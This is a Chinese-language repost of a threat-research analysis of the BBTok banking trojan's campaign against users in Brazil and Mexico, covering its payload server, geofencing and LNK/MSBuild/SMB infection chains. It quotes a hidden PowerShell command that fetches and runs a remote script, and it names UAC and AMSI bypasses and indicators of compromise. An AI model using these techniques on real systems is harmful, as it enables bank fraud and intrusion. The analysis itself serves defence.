Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86390959

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

微信截图_20230923224318.png

Check Point Research研究人員最近在拉丁美洲發現了一個活躍活動,該活動正在操作和部署BBTok銀行軟件的新變體。在這項研究中,我們會介紹新發現的攻擊鏈,這些攻擊鏈使用了一種獨特的Living off the land Binaries組合,所以,儘管BBTok銀行軟件至少從2020年開始活躍,但時至今日,被檢測到的概率還是很低。在分析該活動時,研究人員發現了一些攻擊者在攻擊中使用的服務器端資源,目標是巴西和墨西哥的數百名用戶。

服務器端組件負責提供可能通過網絡釣魚鏈接傳播的惡意有效負載。我們已經觀察到相同的服務器端腳本和配置文件的多次迭代,這些腳本和配置文件展示了BBTok銀行軟件部署方法隨著時間的推移而演變的過程。這我們得以一窺攻擊者尚未實現的攻擊媒介,並追踪用於維持此類操作的源代碼的起源。

我們將在本文重點介紹用於傳播銀行軟件的有效負載服務器的一些服務器端功能,它們可以為每個受害者產生獨特的有效負載。

發現過程BBTok異常活躍,針對巴西和墨西哥的用戶,採用多層地理圍欄來確保受攻擊的設備僅來自這些國家。

自2020年BBTok最後一次公開報導以來,運營商的技術、戰術和程序(TTPs)發生了重大變化,增加了額外的混淆層和下載器,從而使檢測率降到最低。

BBTok銀行有一個專門的功能,可以復制40多家墨西哥和巴西銀行的界面,並欺騙受害者將其雙重身份驗證代碼輸入他們的銀行賬戶或輸入他們的支付卡號。

新識別的有效負載是由自定義服務器端應用程序生成的,該應用程序負責根據操作系統和位置為每個受害者生成唯一的有效負載。

對有效負載服務器端代碼的分析顯示,攻擊者正在積極維護不同版本Windows的多樣化攻擊鏈,這些鏈使用各種各樣的文件類型,包括ISO, ZIP, LNK, DOCX, JS和XLL。

攻擊者在他們的武器庫中添加開源代碼、來自黑客論壇的代碼和新的漏洞(例如Follina)。

BBTok銀行軟件歷史BBTok銀行軟件於2020年首次被披露,通過無文件攻擊部署在拉丁美洲。其功能非常齊全,包括枚舉和終止進程、鍵盤和鼠標控制以及操作剪貼板內容。除此之外,BBTok還包含經典的銀行木馬功能,模擬在墨西哥和巴西運營的各種銀行的虛假登錄頁面。

自從首次被公開披露以來,BBTok運營商已經採用了新的https,同時仍然主要利用帶有附件的網絡釣魚電子郵件進行初始攻擊。最近,我們看到了銀行軟件通過網絡釣魚鏈接傳播的跡象,而不是作為電子郵件本身的附件。

在訪問惡意鏈接時,會將ISO或ZIP文件下載到受害者的計算機上,這些文件包含一個啟動攻擊鏈的LNK文件,在打開一個誘餌文件的同時,導致銀行軟件的部署。雖然乍一看,這個過程似乎很簡單,但幕後操作非常複雜。

在分析這些新發現的鏈接時,研究人員發現了用於傳播惡意軟件的內部服務器端資源。很明顯,攻擊者保持了廣泛的攻擊鏈,每次點擊都根據需要生成,並根據受害者的操作系統和位置進行定制。

BBTok銀行攻擊BBTok為其運營商提供了廣泛的功能,從遠程命令到經典的銀行木馬功能,BBTok可以復制多家拉美銀行的界面。其代碼引用了墨西哥和巴西的40多家主要銀行,如花旗銀行、豐業銀行、Banco Itaú和匯豐銀行。銀行軟件通過遍歷打開的窗口和瀏覽器選項卡的名稱,搜索銀行名稱,來尋找受害者是這些銀行客戶的跡象。

其默認目標顯然是西班牙對外銀行(BBVA),其默認的虛假界面旨在復制其外觀。這些虛假的界面冒充合法機構,誘使毫無戒心的用戶洩露個人和財務信息,該功能的重點是誘騙受害者輸入作為銀行賬戶密碼,並接管受害者的銀行賬戶。

1.png

嵌入BBTok 銀行軟件中的虛假接口示例

BBTok是用Delphi編寫的,它使用可視化組件庫(VCL)來創建表單,毫不誇張地說,這些表單形成了這些虛假的界面,這使得攻擊者可以動態、自然地生成適合受害者電腦屏幕的界面和受害者銀行的特定形式而不會引起懷疑。作為銀行軟件的默認目標銀行,西班牙對外銀行(BBVA)將其接口存儲在一個名為“TFRMBG”的表單中,除了銀行網站,攻擊者也開始在受攻擊的設備上搜索有關比特幣的信息,積極尋找”bitcoin”, ”Electrum”和”binance”等字符串。

除此之外,BBTok還可以安裝惡意瀏覽器擴展或註入名為“rpp.dll”的DLL來進一步控制受攻擊的系統,並可能提高其欺騙受害者的能力。

值得注意的是,該攻擊者採取了謹慎的方式所有的銀行活動都是在其C2服務器的直接命令下執行的,而不是在每個受攻擊的系統上自動執行。

負載服務器分析為了有效管理他們的活動,BBTok運營商創建了一個獨特的流程,由受害者點擊惡意鏈接啟動,該鏈接可能是通過釣魚電子郵件發送的。當受害者點擊鏈接時,會根據受害者的操作系統下載ZIP文件或ISO映像。這個過程對受害者來說是無感的,但服務器會根據請求中找到的參數生成唯一的有效負載。

2.png

BBTok攻擊中使用的服務器端組件

此過程在基於xampp的服務器上執行,包含三個基本組件:

一個PowerShell腳本,用於處理有效負載準備,並包含創建lure文檔的主要邏輯;

一個PHP代碼庫和數據庫,用於記錄和管理攻擊;

增強這些組件功能的輔助實用程序。

具體流程如下:

受害者向/baxar、/descargar或/descarga執行HTTP請求(這些路徑表明誘餌是西班牙語或葡萄牙語);

基於.htaccess文件,服務器使用descarga.php處理請求;

腳本利用文件db.php通過SQLite數據庫存儲有關請求的信息,包括受害者的信息;

Desarga.php調用ps_gen.ps1來生成一個自定義文檔,該文檔最終會傳遞給受害者。

傳入請求處理

PHP代碼庫由以下文件組成:

1.descarga/descargar.php:管理新的連接並向受害者的電腦提供引誘文檔。

2.db.php:生成並管理包含受害者詳細信息的SQLite數據庫。

3.generator.php:用於生成隨機鏈接、字符串和其他功能的實用程序類。

4.“Descarga”和“descargar”在西班牙語中翻譯為“download”。此文件包含感染過程的主要邏輯。腳本本身包含許多評論,其中一些是純西班牙語和葡萄牙語,這些評論暗示了攻擊者的來源。

腳本邏輯:

1.它根據ip-api.com檢查鏈接引用的受害者的地理位置,並將其存儲在文件中。如果受害者不是來自目標國家(例如,墨西哥或巴西),則HTTP連接立即以404消息結束。

3.png

2.如果受害者通過了檢查,則腳本解析用戶代理以獲取受害者的Windows操作系統版本。

4.png

3.然後,它將帶有受害者的國家/地區代碼和引誘文件名的用戶代理傳遞到PowerShell有效負載生成器腳本。

PowerShell負載生成器腳本ps_gen.ps1包含用於生成ZIP或ISO文件形式的文檔有效負載的主要邏輯。最新版本的代碼有很多失效的部分,這部分在過去可能是有效的,這表明它們包含額外的感染鍊和誘餌,我們發現了該文件的多個版本,其中一些可以追溯到2022年7月,這表明該活動已經進行了很長一段時間。

生成器腳本由descarga.php調用,使用帶有參數file_name、ver和cc的函數DownloadFile,這些對應於生成的文檔名稱、受害者的操作系統版本和受害者的國家代碼。

5.png

在觀察到的服務器迭代中使用的代碼部分基於兩個參數生成文檔有效負載:

受害者的國度:巴西或墨西哥;

從User-Agent中提取的操作系統:Windows 10或7;

根據結果,選擇惡意文檔的以下參數:

文件類型:Windows 10為ISO, Windows 7為ZIP;

下一階段使用的DLL文件的名稱根據目標國家的不同而變化:Trammy用於巴西,Gammy用於墨西哥。

該文檔包含一個鏈接:Windows 10中的LNK快捷圖標是Microsoft Edge使用的快捷圖標,Windows 7中的LNK快捷圖標是Google Chrome使用的快捷圖標。

最後的執行邏輯:對於Windows 10受害者,該腳本使用來自服務器216[.]250[.]251[.]196的名為dat.xml的文件執行MSBuild.exe,該文件還存儲下一階段的惡意DLL。對於Windows7,負載只是通過CMD執行下載相關的遠程DLL。

6.png

添加位置混淆

所有有效載荷都使用Add-PoshObfusion函數進行模糊處理。對部分代碼的簡單搜索會從“良性”網站hackforums[.]net中得到一個結果,特別是2021年8月一位名為“Qismon”的用戶的回复,其還推薦了一些繞過AMSI和安全產品的方法,並分享PoshObfusion代碼:

7.png

在hackforums[.]net中共享的Add-PoshObfuscation()代碼

攻擊鍊和最終有效負載上面描述的過程最終導致了兩個攻擊鏈的變體:一個針對Windows 7,一個針對Windows 10。兩個版本之間的差異可以解釋為試圖避免新實現的檢測機制,如AMSI。

*ammy.dll下載程序兩個感染鏈都使用使用類似約定命名的惡意DLL——Trammy、Gammy、Brammy或Kammy。後者是BBTok加載程序的精簡和混淆版本,在執行任何惡意操作之前使用地理圍欄來阻止檢測。最後的有效負載是一個新版本的BBTok銀行程序。如上所述,BBTok附帶了多個額外的密碼保護軟件。這些漏洞允許攻擊者完全訪問受攻擊的設備和其他功能。

Windows 7攻擊鏈8.png

Windows 7攻擊鏈

Windows 7的攻擊鏈不是唯一的,它由存儲在ZIP文件中的LNK文件組成。在執行LNK文件時,使用rundll32.exe運行* my.dll負載,rundll32.exe依次下載、提取和運行BBTok負載。

Windows 10攻擊鏈9.png

Windows 10攻擊鏈

Windows 10的攻擊鏈存儲在一個包含3個組件的ISO文件中:一個LNK文件,一個lure文件和一個重命名的cmd.exe可執行文件。點擊LNK文件啟動攻擊鏈,使用重命名的cmd.exe以以下方式運行所有命令:

10.png

攻擊鏈將lure文件複製到文件夾%userprofile%並打開它。

11.png

在BBTok攻擊中釋放的Lure文件

運行MSBuild.exe,使用存儲在遠程服務器上的XML(通過SMB獲取)構建應用程序。

MSBuild.exe創建一個隨機命名的DLL,它反過來從服務器下載* my. DLL,並以重命名的rundll32.exe(mmd.exe)運行它,如XML內容所示:

12.png

dll下載程序下載、提取並運行BBTok負載

重命名CMD、MSBuild和通過SMB獲取文件的獨特組合導致Windows 10攻擊鏈很少被檢測到。

早期版本在對BBTok活動的分析中,研究人員遇到了來自有效負載服務器的多個版本的工件。我們看到PHP代碼、PowerShell腳本和其他實用程序都發生了變化。

PHP代碼的變化查看descarga.php腳本的早期版本,我們看到了一些關鍵的差異:

最初,只有來自墨西哥的受害者會成為攻擊目標。另一個有效負載服務器176[.]31[.]159[.]196的IP在腳本中進行了硬編碼。

這裡沒有直接執行PowerShell腳本,而是調用了一個名為gen.php的腳本。雖然研究人員無法獲得這個腳本,但相信它只是執行了PowerShell腳本。

使用db.php文件將受害者的IP地址、用戶代理和標誌(jaBaixou,即葡萄牙語中的“已下載”)插入數據庫中。稍後檢查該標誌,以確保不會提供相同的有效負載。

由於最新版本中未使用此部分,攻擊者可能發現此過程繁瑣,並決定用OPSEC來換取更容易的管理和更高的攻擊成功機率。

PowerShell腳本修改說明查看PowerShell腳本的舊版本,可以清楚地看到對負載和執行鏈進行了大量更改。在最早版本的腳本中,LNK只是運行一個PowerShell腳本,其參數為-ExecutionPolicy Unrestricted-W hidden-File\\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1。

後來的更新添加了lure PDF,fac.PDF(“fac”是“factura”的縮寫,在葡萄牙語中是“發票”)。這是來自墨西哥科利馬縣的合法西班牙語收據。此外,Windows7受害者的有效負載啟動了一個合法的墨西哥政府網站hxxps://failover[.]www[.]gob[.]mx/matenimiento.html。

研究人員發現的最新版本打開了一個不同的合法網站hxxps://fazenda[.]gov[.]br,巴西政府網站。此版本還更改了MSBuild使用的XML文件,並將為巴西目標保留的DLL名稱從Brammy.DLL更改為Trammy.DLL。

未使用的代碼和感染媒介PowerShell腳本中的某些代碼部分未使用,服務器託管的文件不屬於我們討論的主要感染流。特別是,研究人員沒有發現任何積極使用以下內容的跡象:

ze.docx是一份利用Follina CVE(2022-30190)的文檔。 PowerShell腳本中名為CreateDoc的函數中引用了它。

CreateXLL引用的xll.xll是從開源項目中獲取的惡意xllhttps://github.com/moohax/xllpoc,通過Excel實現代碼執行。在服務器上發現了許多空的JavaScript文件,這些文件很可能被名為CreateJS的函數使用。函數b.js中引用的文件是空的,因此不清楚該函數以前是使用過還是從未完全實現過。

服務器上有多個bat文件,每個文件都有不同的下載下一階段的實現。這些很可能是由名為CreateBat的函數創建的,該函數在最新版本的PowerShell腳本中被取消掉了。它們中的大多數幾乎與我們之前分析的ByFD函數中的代碼相同,不包括過去兩次值得注意的迭代:

最舊的bat文件下載了另一個PowerShell腳本作為下一階段(該腳本不再公開),而不是編輯註冊表;

稍後的bat文件使用了fodhelper UAC繞過,而不是當前正在使用的computerdefaults繞過。

受害者分析研究人員對服務器端組件的分析也揭示了最近的一個活動,從攻擊者的角度來看,這是基於他們發現的一個數據庫,該數據庫記錄了對惡意應用程序的訪問。該數據庫名為links.sqlite,非常簡單。它包含150多個條目,所有條目都是唯一的,表頭與db.php創建的條目相對應。

chave或key;

assunto或subject;

user_agent ;

baixou或downloaded。

名為chave的列包含受害者的IP地址,而assunto列為空:

13.png

Links.sqlite數據庫

14.png

攻擊區域

由於除了攻擊者之外,任何人都不會看到服務器代碼,並且其中包含大量葡萄牙語評論,我們認為這表明攻擊者很可能是巴西人,巴西人以其活躍的銀行惡意軟件生態系統而聞名。

總結儘管BBTok目前僅在巴西墨西哥活動,但很明顯,它仍在積極開發中。由於其眾多功能,以及涉及LNK文件、SMB和MSBuild的獨特而創造性的傳播方法,它仍然對該地區的組織和個人構成威脅。